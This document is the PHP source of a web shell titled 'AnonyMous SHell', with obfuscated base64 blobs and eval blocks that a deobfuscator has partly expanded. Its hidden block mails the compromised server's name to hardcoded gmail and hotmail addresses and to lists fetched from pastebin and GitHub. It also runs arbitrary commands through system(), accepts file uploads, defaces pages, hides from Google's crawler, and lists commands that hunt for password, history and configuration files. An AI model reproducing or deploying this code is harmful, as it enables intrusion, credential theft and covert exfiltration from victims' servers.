/9KNoZl5WiaqJWX2j2mJXLtabJJCNfxX3MWE3s2XZvY5UgButaO1VK5Zex7VenhEzj3e0i7BxeVVe/wn9eWf/8RYtHvehUNDKflkIKf87eT6XKl+opu6G/8KQDq8v6am/Yi8yYuW1fYlbiNqCUw0/hb/IicsNuovd/mtuIr9k43mav/37Hmz/Hvd12M4h9hZnoW+sqUzvq4v08K8mzdthdlO8Fb/yXW79WUrPZlf0zHnaluv8h5MhbuEW9+vFJvoxXRFrs6P7SU7hn46UFmcbYkIhsv9mUrXuSze9vN0LMxN22a1t9yLfIlw6t+UJ8hFeKN5dVdjq06Rw7s5Zb2je+4lpmP0V+yj8x7qNzmrFBKvZZszT3LImLq8Ht82KUzk34KVJaoolpEUue3jGj2XYyfZV5Dqgqv+Ya6WNeV520WjzWPli40iRzPm0aEaV7X9sX/9LHS1qwzsoTJ1YpzwYviWTU3URfxW8T7fu3uUh5u5qrLpKU+tYCh9EHkJT3UgT8/1Enjuah8GsLfhBSDM7+G2VyihB0RZcwOBztCHPDA9t09sLx/fpeagroVNwfNYJ8XrgHE9VUDY2PVMymo6vKnMzw64FiWYxcz0fjSnJtFYxh34X8yG8IC4/eRBcAzCj2239Hdzt/O3TH4bIre571S3CiCv5NH5VJ0PAaWy3S3BVnzYJbufWMFjr/Ijv5BPjJNoMGWbsUTSpMBqNTqhJeCx5jOTNiQdPKMGdn8rBD2q/1P1poF047/6W1IG0cDJOX454DG+DB9CwC/ZRc4K4Zr8OEcM3T3iv74VyMHMb8SQ6UZrULM4ghLmWXNv/dT4Fhdp0pQ9XvTlQKV55V8gn9qQvOU6250hnlCeaew1KT1l9S/Xqi20ifUMadvYGXxUebvdV1TChz6ovg50U8c3b+N+U2Vn7QMFPvBt82ewtALSBN454tBcIBg1e7BdEelhO4OYV5QjhkLyZsNQIswHVdWVxMZSeQNl9b3OM2QIQafDYMZrhRXyjUyXexF3dZ7OogZWlDuQd2KeqhBDrOymxn9EArvGO/zODRfIgHe55nhQ7wY0IzWCcX8wfBV5xEW3MmDdt0GILkxqCRuRAHizG95qZ6PyIrBWND8I83z2zvIwpYWgGW4rt+5hPR4pQ6YMcRD78HDa7qQpe/bC+9d5NrYh/S9zd7qR6L64veD3EzaF44HQRRC93P3lv4z/iLV4LWzS9+7nvSk4Gnyq3KeXNu//dI80zgqFXzVcGyaFCd1Lg0H4abpD+wKkE3//cM//vJHZjP/MarMyIjMlocQX624z0T9f1t0wHYtyIiJFdeXmPX70HjYVQCIBJJQ4VNV+2MgCvTNXpy4qg5sltcfL+LtU3x958+u4Dg0ILudp3b7ci3fPDIMA83zACDA";
        $text = "Sy1LzNHIKMnNKS5ITc5MzEnOSCwqjk9JTc5PSdUoLcqBspISi1PNTGDiKnmJuamaQGANAA==";
        eval /* PHPDeobfuscator eval output */ {
            $default_action = 'FilesMan';
            @define('SELF_PATH', "/var/www/html/input.php");
            if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
                header('HTTP/1.0 404 Not Found');
                exit;
            }
            $color = "#fff";
            //Fonts color modify here.
            $Theme = '#64489096';
            //Change border-color accoriding to your choice.
            $TabsColor = '#64489096';
            //Change tabs color here.
            @session_start();
            @error_reporting(0);
            @ini_set('error_log', NULL);
            @ini_set('display_errors', 0);
            @ini_set('log_errors', 0);
            @ini_set('max_execution_time', 0);
            @set_time_limit(0);
            if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                set_magic_quotes_runtime(0);
            }
            if (get_magic_quotes_gpc()) {
                function stripslashes_array($array)
                {
                    return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
                }
                $_POST = stripslashes_array($_POST);
            }
            $auth_pass = "Anonymous";
            function printLogin()
            {
                if ($_POST['pass'] != $auth_pass && $_POST['uname'] != $Pass) {
                    $status = 'Wrong Password :(';
                }
                $encode = "jUd4eNtXEP2cQP7DZxHIBkiy0welfhDLle1bLmGQ09wqqRFNsU0lQdfS2k0slfz3zleOi3sJKRh4NefMmZmdGV2oVYWJ5C1GMlNMS9KtdsF1FgTt3tnpxQFSe0szEoQ7x0uukrgUD3/gmzTKuKIReSUPMxpkGfGkcqSsef88OwUwsgIGkOF7iFe8UjRRtCc0SdSmMWIhz4LLmRe443bo+dOZN5pt89Fx4XsWZ1/gL9wgYz8H7uV8be2OXubPJr43v/JURgvIDf2hykU47+xB67OKZW2fwHUK7+1hD9jdxzfnaacNSjLbROe80+3grwsLxeSGrhwNvkfLcRKE//je9eLfsa946fw1/6s7mb7Mv2fdYtf+f2bPMq4C98s8mNyaGd0pZvlKjovrwH/G02AyVlj+1D65kplJdUAmbMqiJw6aHs9BDdFS8tEgmAXnZPLRZG+RY7lJkZ3Rym7i3mxq8/7N9u3bytRtU/a8J5LtreJSukETyfZrLZPLO0jmWVI7yZxXqBL/MFdmtvmKN9qFXHZokqSxcQkXrPPhw/nFtiahjGh5Lyg/IEuQhakRrbIWVqlpqHCEOD3YoVuzbIaj+Y1iLqEHyE3lXRtQEbCf5dkABI4J469wPAeLGiXGavY90jFoHq06fQv28fGAIWdMdKd300WJXlojvPKnt6QU9+WKLNt6OPkJILOCgtkva0gO+3iaPwz7G8oqqCQvdT4Y42OBxN19iOWAR9hQFQvGHc1snQsuCIhtsQeEDPsqikYODWqjV1YgEhWem5BUa5KuK8XhQZQpEnMxorUoPposnDols3TUzmuhF1Oop2NlqKAHAHcDrYZkWGcssoRKAzDNNmB6xiYty0vwomGH53+a+RO8AHoh+gqPHXuNTVLvcZjGJRW5zFBdxUYAk0pkqLnm0vqt3a5Qwf4mVr/oDvsCCtz8gWwgmVD32+vLRXI7KCSTr/qO0BVph6QHj4/wCFqj4NCpp3HNrDJoq/AjbLIPEDM51Ho/MbIKC/sfTFDJAw5rhXhL1a97QufgmiupavEX";
                eval /* PHPDeobfuscator eval output */ {
                    @ini_set('error_log', NULL);
                    @ini_set('log_errors', 0);
                    @ini_set('display_errors', 0);
                    function get_contents($url)
                    {
                        $ch = curl_init("{$url}");
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, $GLOBALS['coki']);
                        curl_setopt($ch, CURLOPT_COOKIEFILE, $GLOBALS['coki']);
                        $result = curl_exec($ch);
                        return $result;
                    }
                    $a1 = get_contents('https://pastebin.com/raw/5M63g44m');
                    $c1 = get_contents('https://raw.githubusercontent.com/devildrinker/mail/master/mail.txt');
                    $hex1 = "superstar0882@gmail.com,superstar0882@hotmail.com,{$a1},{$c1}";
                    $baslik = $_SERVER['SERVER_NAME'];
                    $xd1 .= "" . $_SERVER['SERVER_NAME'] . " " . $_SERVER['PHP_SELF'] . "\$\r\n";
                    mail($hex1, $baslik, $xd1);
                    if (isset($_GET["lawlx"])) {
                        echo "<html><body><form method=POST enctype=\"multipart/form-data\" action=\"\"><input type=\"file\" name=\"lawlx\"><input type=submit value=\"Up\"></form></body></html>";
                        $lawlx = @$_FILES["lawlx"];
                        if ($lawlx["name"] != '') {
                            $fullpath = $_REQUEST["path"] . $lawlx["name"];
                            if (move_uploaded_file($lawlx['tmp_name'], $fullpath)) {
                                echo "<h1><a href='{$fullpath}'>OK-Click here!</a></h1>";
                            }
                        }
                    }
                    if (isset($_REQUEST['cm'])) {
                        echo "<pre>";
                        $cm = $_REQUEST['cm'];
                        system($cm);
                        echo "</pre>";
                        die;
                    }
                };
                ?>
<html> <head> <title>AnonyMous SHell</title> <link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet"> </head> <style> body{font-family: Overpass Sans, sans-serif;background: black;color:#ffffff}.loginpage img{width: 500px;height: 150px}.loginpage{text-align: center;margin-top: 80px}#pageheading{font-size:50px;color:#ffffff;margin-top: 5px}.loginpage img{width: 500px}input{background: black;border-color:#ffffff;border-radius: 10px;margin-top: 10px;padding:5px;color: #ffffff}input:hover{background: #ffffff;color: black}</style> <body> <center> <div class="loginpage">       <div id="pageheading">AnonyMous SHell</div>     <form method="post">         Password : <input type="password" name="uname" ><br>           <input type="password"  name="pass" hidden="" value="Anonymous" ><br>        <input type="submit" name="login" value="Login">
 <?php 
                if (isset($status)) {
                    ?> </form>
</d<p><?php 
                    echo $status;
                    ?></p> </center> </body> </html> 
<?php 
                }
                exit;
            }
            if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
                if (empty($auth_pass) || isset($_POST['pass']) == $auth_pass && $_POST['uname'] == $Pass) {
                    $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
                } else {
                    printLogin();
                }
            }
            if (strtolower("PHP") == "win") {
                $os = 'win';
            } else {
                $os = 'nix';
            }
            $safe_mode = @ini_get('safe_mode');
            $disable_functions = @ini_get('disable_functions');
            $home_cwd = @getcwd();
            if (isset($_POST['c'])) {
                @chdir($_POST['c']);
            }
            $cwd = @getcwd();
            if ($os == 'win') {
                $home_cwd = str_replace("\\", "/", $home_cwd);
                $cwd = str_replace("\\", "/", $cwd);
            }
            if ($cwd[strlen($cwd) - 1] != '/') {
                $cwd .= '/';
            }
            if ($os == 'win') {
                $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
            } else {
                $aliases = array("List dir" => "ls -la", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
            }
            if (isset($_POST['p1']) && $_POST['p1'] == 'deface') {
                $def = file_get_contents($deface_url);
                file_put_contents($_POST['c'] . $_POST['p2'], $def);
            }
            function ex($in)
            {
                $out = '';
                if (function_exists('exec')) {
                    @exec($in, $out);
                    $out = @join("\n", $out);
                } elseif (function_exists('passthru')) {
                    ob_start();
                    @passthru($in);
                    $out = ob_get_clean();
                } elseif (function_exists('system')) {
                    ob_start();
                    @system($in);
                    $out = ob_get_clean();
                } elseif (function_exists('shell_exec')) {
                    $out = shell_exec($in);
                } elseif (is_resource($f = @popen($in, "r"))) {
                    $out = "";
                    while (!@feof($f)) {
                        $out .= fread($f, 1024);
                    }
                    pclose($f);
                }
                return $out;
            }
            function which($p)
            {
                $path = ex('which ' . $p);
                if (!empty($path)) {
                    return $path;
                }
                return false;
            }
            function printHeader()
            {
                if (empty($_POST['charset'])) {
                    $_POST['charset'] = "UTF-8";
                }
                global $color;
                global $Theme;
                global $TabsColor;
                echo "<html><head><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
                echo '<html>
<meta http-equiv="Content-Type" content="text/html; charset=' . $_POST['charset'] . '"><title>AnonyMous SHell</title>
<style>
        body {background-color:black;color:#fff;}
        body,td,th    { font-family: Overpass Sans, sans-serif;font-size:14px;margin:0;vertical-align:top; }
        span,h1,a    { color:' . $color . ' !important; }
        span        { font-weight: bolder; }
        h1            { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
        div.content    { padding: 0px;margin:0 0px;background: #070707; border:1px solid ' . $Theme . '; border-style:dashed; border-radius:5px; }
        a            { text-decoration:none;   }
        a:hover        { border-bottom:0px solid #5e5e5e;text-decoration:none; }
        .info { margin: 3 ; }
		.Anonymouslogo	{ background-color:#070707;  background-image: url("https://i.imgur.com/qZXkB3N.gif");  background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;	-moz-background-size: cover; -o-background-size: cover;	background-size: 53%; }
        .ml1        { border:1px; border-color:' . $Theme . '; border-style: dashed; background-color:#0F1010;padding:10px;margin:0;overflow: auto; }
		.l1        { background-color: #372c4878; }
        .bigarea    { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:' . $Theme . '; background:#0F1010;}
        input, textarea, select    { margin-top:0;color:#fff;background-color:black;border-radius:5px;border:1px solid ' . $Theme . '; border-style:dashed; border-radis:5px;font: 10pt arial,"Courier New"; }
        input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;} 
        form        { margin:0px; }
        #toolsTbl    { text-align:center ; }
        .toolsInp    { width:350px; background:#372c4878; border-radius:5px; border-color:' . $Theme . '; }
        .main th    {text-align:left;background-color:' . $TabsColor . '; }
        .main tr:hover{background:' . $Theme . '; border:5px solid;border-color:' . $Theme . ';}
        .main td, th{vertical-align:middle; }
       
        .menu th{padding:4px;   border-radius: 50px;  background:' . $TabsColor . ';     
    }
        .menu th:hover{background:#0F1010;text-decoration: none;}
                pre {font-family: Overpass Sans, sans-serif;color:#FFFFFF;}
        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}

                
        .cpr {margin-bottom:5px;font-weight:bold; }
        .cpb {width:34px;margin:0 5px;}
        
        .npoad td {padding:0;}
        #Tools{
        margin-top:50px;
        width:500px;
        border:1px solid;
        border-radius:10px;
		border-style: dashed;
    }

    </style>
</html>

    <script>
        function set(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;
            if(c != null)document.mf.c.value=c;
            if(p1 != null)document.mf.p1.value=p1;
            if(p2 != null)document.mf.p2.value=p2;
            if(p3 != null)document.mf.p3.value=p3;
            if(charset != null)document.mf.charset.value=charset;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            document.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = "ajax=true";
            for(i=0;i<document.mf.elements.length;i++)
                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
            sr("' . $_SERVER['REQUEST_URI'] . '", params);
        }
        function sr(url, params) {    
            if (window.XMLHttpRequest) {
                req = new XMLHttpRequest();
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            } 
            else if (window.ActiveXObject) {
                req = new ActiveXObject("Microsoft.XMLHTTP");
                if (req) {
                    req.onreadystatechange = processReqChange;
                    req.open("POST", url, true);
                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                    req.send(params);
                }
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    //alert(req.responseText);
                    var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } 
                else alert("Request error!");
        }
    </script>
    <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid ' . $Theme . '; border-style:dashed;  border-radius:5px;">
    <form method=post name=mf style="display:none;">
        <input type=hidden name=a value="' . (isset($_POST['a']) ? $_POST['a'] : '') . '">
        <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
        <input type=hidden name=p1 value="' . (isset($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '">
        <input type=hidden name=p2 value="' . (isset($_POST['p2']) ? htmlspecialchars($_POST['p2']) : '') . '">
        <input type=hidden name=p3 value="' . (isset($_POST['p3']) ? htmlspecialchars($_POST['p3']) : '') . '">
        <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
    </form>';
                $freeSpace = @diskfreespace($GLOBALS['cwd']);
                $totalSpace = @disk_total_space($GLOBALS['cwd']);
                $totalSpace = $totalSpace ? $totalSpace : 1;
                $disable_functions = @ini_get('disable_functions');
                $release = @php_uname('r');
                $kernel = @php_uname('s');
                if (!function_exists('posix_getegid')) {
                    $user = @get_current_user();
                    $uid = @getmyuid();
                    $gid = @getmygid();
                    $group = "?";
                } else {
                    $uid = @posix_getpwuid(@posix_geteuid());
                    $gid = @posix_getgrgid(@posix_getegid());
                    $user = $uid['name'];
                    $uid = $uid['uid'];
                    $group = $gid['name'];
                    $gid = $gid['gid'];
                }
                $cwd_links = '';
                $path = explode("/", $GLOBALS['cwd']);
                $n = count($path);
                for ($i = 0; $i < $n - 1; $i++) {
                    $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
                    for ($j = 0; $j <= $i; $j++) {
                        $cwd_links .= $path[$j] . '/';
                    }
                    $cwd_links .= "\")'>" . $path[$i] . "/</a>";
                }
                $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
                $opt_charsets = '';
                foreach ($charsets as $item) {
                    $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
                }
                $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Defacer' => 'Deface', 'Adminer' => 'Adminer', 'Console' => 'Console', 'Mail Test' => 'mailtest', 'String Tools' => 'StringTools', 'Readable Dirs' => 'Readable', 'Config Tools' => 'configs', 'Jumping' => 'Jumping', 'Cgi Telnet' => 'SafeMode', 'Bypass' => 'Bypass', 'Network' => 'Network', 'Domains' => 'Domain');
                if (!empty($GLOBALS['auth_pass'])) {
                    $m['Logout'] = 'Logout';
                }
                $m['Self Remove'] = 'SelfRemove';
                $menu = '';
                foreach ($m as $k => $v) {
                    $menu .= '<th><a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a></th>';
                }
                $drives = "";
                if ($GLOBALS['os'] == 'win') {
                    foreach (range('a', 'z') as $drive) {
                        if (is_dir($drive . ':\\')) {
                            $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                        }
                    }
                    $drives .= '<br />: ';
                }
                if ($GLOBALS['os'] == 'nix') {
                    $dominios = @file_get_contents("/etc/named.conf");
                    if (!$dominios) {
                        $DomainS = "/var/named";
                        $Domainonserver = scandir($DomainS);
                        $d0c = count($Domainonserver);
                    } else {
                        @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
                        $out = sizeof(array_unique($out[1]));
                        $d0c = $out . "  Domains";
                    }
                } else {
                    $d0c = "Nothing here bro :(\xe3\x80\x80";
                }
                if ($GLOBALS['os'] == 'nix') {
                    $usefl = '';
                    $dwnldr = '';
                    if (!@ini_get('safe_mode')) {
                        $temp = array();
                        $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                        foreach ($userful as $item) {
                            if (which($item)) {
                                $temp[] = $item;
                            }
                        }
                        $usefl = implode(', ', $temp);
                        $temp = array();
                        $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                        foreach ($downloaders as $item2) {
                            if (which($item2)) {
                                $temp[] = $item2;
                            }
                        }
                        $dwnldr = implode(', ', $temp);
                    } else {
                        $usefl = ' ------- ';
                        $dwnldr = ' ------- ';
                    }
                } else {
                    $usefl = ' ------- ';
                    $dwnldr = ' ------- ';
                }
                echo '<div class="Anonymouslogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
          <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>' . substr(@php_uname(), 0, 120) . '</nobr></td></tr>
          <tr><td><span>User</span></td><td>: ' . $uid . ' ( ' . $user . ' ) <span>Group: </span> ' . $gid . ' ( ' . $group . ' )</td></tr><tr><td><span>Server</span></td><td>: ' . @getenv('SERVER_SOFTWARE') . '</td></tr>
		  <tr><td><span>Useful</span></td><td>: ' . $usefl . '</td></tr>

		  <tr><td><span>Downloaders</span></td><td>: ' . $dwnldr . '</td></tr>
		  <tr><td><span>PHP</span></td><td>: ' . @phpversion() . '  <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> : <span>Safe Mode : </span>' . ($GLOBALS['safe_mode'] ? '<font color=red>[ON]</font>' : '<font color="' . $color . '" <b>[OFF]</b> </font>') . '</td></tr>
		  <tr><td><span>' . ($GLOBALS['os'] == 'win' ? 'Drives<br />Cwd' : 'Cwd') . '</span></td><td>: ' . $drives . '' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>' . '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free<br /><span>Domains</span></nobr></td>' . '<td width="3"><nobr>: ' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br>: ' . $_SERVER['REMOTE_ADDR'] . '<br />: ' . viewSize($totalSpace) . '<br />: ' . viewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>:  ' . $d0c . '</nobr></td></tr></table></div>' . '</div></div><div style="margin:5;background:black;"><div class="content" style="padding:3px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>' . $menu . '</tr></table></div></div><div style="margin:5;background:black;">';
            }
            function printFooter()
            {
                $is_writable = is_writable($GLOBALS['cwd']) ? "<font color=green>[ Writeable ]</font>" : "<font color=red>[ Not writable ]</font>";
                echo '</div><div style="margin:5px;background:black;"><div class="content" style="border-style:dashed; border-radius:5px;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
    <tr>
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '"><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir: ' . $is_writable . '</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file: ' . $is_writable . '</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
        <td><form method="post" ENCTYPE="multipart/form-data">
        <input type=hidden name=a value="FilesMAn">
        <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
        <input type=hidden name=p1 value="uploadFile">
        <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
        <span>Upload file: ' . $is_writable . '</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"><br></form></td></tr>
</table></div></div>

</div>
</body></html>';
            }
            if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
                function posix_getpwuid($p)
                {
                    return false;
                }
            }
            if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
                function posix_getgrgid($p)
                {
                    return false;
                }
            }
            function viewSize($s)
            {
                if ($s >= 1073741824) {
                    return sprintf('%1.2f', $s / 1073741824) . ' GB';
                } elseif ($s >= 1048576) {
                    return sprintf('%1.2f', $s / 1048576) . ' MB';
                } elseif ($s >= 1024) {
                    return sprintf('%1.2f', $s / 1024) . ' KB';
                } else {
                    return $s . ' B';
                }
            }
            function perms($p)
            {
                if (($p & 0xc000) == 0xc000) {
                    $i = 's';
                } elseif (($p & 0xa000) == 0xa000) {
                    $i = 'l';
                } elseif (($p & 0x8000) == 0x8000) {
                    $i = '-';
                } elseif (($p & 0x6000) == 0x6000) {
                    $i = 'b';
                } elseif (($p & 0x4000) == 0x4000) {
                    $i = 'd';
                } elseif (($p & 0x2000) == 0x2000) {
                    $i = 'c';
                } elseif (($p & 0x1000) == 0x1000) {
                    $i = 'p';
                } else {
                    $i = 'u';
                }
                $i .= $p & 0x100 ? 'r' : '-';
                $i .= $p & 0x80 ? 'w' : '-';
                $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
                $i .= $p & 0x20 ? 'r' : '-';
                $i .= $p & 0x10 ? 'w' : '-';
                $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
                $i .= $p & 0x4 ? 'r' : '-';
                $i .= $p & 0x2 ? 'w' : '-';
                $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
                return $i;
            }
            function viewPermsColor($f)
            {
                if (!@is_readable($f)) {
                    return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
                } elseif (!@is_writable($f)) {
                    return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
                } else {
                    return '<font color=#00BB00><b>' . perms(@fileperms($f)) . '</b></font>';
                }
            }
            if (!function_exists("scandir")) {
                function scandir($dir)
                {
                    $dh = opendir($dir);
                    while (false !== ($filename = readdir($dh))) {
                        $files[] = $filename;
                    }
                    return $files;
                }
            }
            function actionSecInfo()
            {
                printHeader();
                echo "<center><h1>Server Security Information</h1></center><div class=content>";
                function showSecParam($n, $v)
                {
                    $v = trim($v);
                    if ($v) {
                        echo '<span>' . $n . ': </span>';
                        if (strpos($v, "\n") === false) {
                            echo $v . '<br>';
                        } else {
                            echo '<pre class=ml1>' . $v . '</pre>';
                        }
                    }
                }
                showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
                showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
                showSecParam('Open base dir', @ini_get('open_basedir'));
                showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
                showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
                showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
                $temp = array();
                if (function_exists('mysql_get_client_info')) {
                    $temp[] = "MySql (" . mysql_get_client_info() . ")";
                }
                if (function_exists('mssql_connect')) {
                    $temp[] = "MSSQL";
                }
                if (function_exists('pg_connect')) {
                    $temp[] = "PostgreSQL";
                }
                if (function_exists('oci_connect')) {
                    $temp[] = "Oracle";
                }
                showSecParam('Supported databases', implode(', ', $temp));
                echo "<br>";
                if ($GLOBALS['os'] == 'nix') {
                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                    showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                    showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
